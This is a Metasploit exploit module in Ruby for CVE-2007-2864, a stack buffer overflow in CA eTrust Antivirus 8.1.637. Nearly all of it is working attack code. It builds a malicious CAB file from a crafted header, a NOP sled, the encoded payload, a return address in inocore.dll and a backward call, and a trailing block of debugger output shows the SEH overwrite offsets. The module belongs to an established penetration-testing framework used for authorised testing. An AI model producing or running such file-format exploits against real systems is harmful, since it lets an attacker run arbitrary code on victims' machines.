91 lines
2.7 KiB
Ruby
91 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA Antivirus Engine CAB Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.
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By creating a specially crafted CAB file, an attacker may be able
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to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2007-2864' ],
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[ 'OSVDB', '35245'],
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[ 'BID', '24330' ],
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[ 'ZDI', '07-035' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 250,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 05 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']),
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])
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end
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def exploit
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cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"
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cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"
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cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"
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cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"
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sploit = make_nops(268 - payload.encoded.length) + payload.encoded
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sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string
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sploit << make_nops(800)
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cab = cab_header + sploit
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(cab)
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end
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end
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=begin
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0:001> !exchain
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00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)
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00cdf2fc: 316a4130
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Invalid exception stack at 6a413969
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0:001> !pattern_offset 1024 0x6a413969
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[Byakugan] Control of 0x6a413969 at offset 268.
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0:001> !pattern_offset 1024 0x316a4130
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[Byakugan] Control of 0x316a4130 at offset 272.
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0:001> u 0x6dc886ea L3
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INOCORE!QSIInitQSysInfo+0x278a:
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6dc886ea 5f pop edi
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6dc886eb 5e pop esi
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6dc886ec c3 ret
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=end
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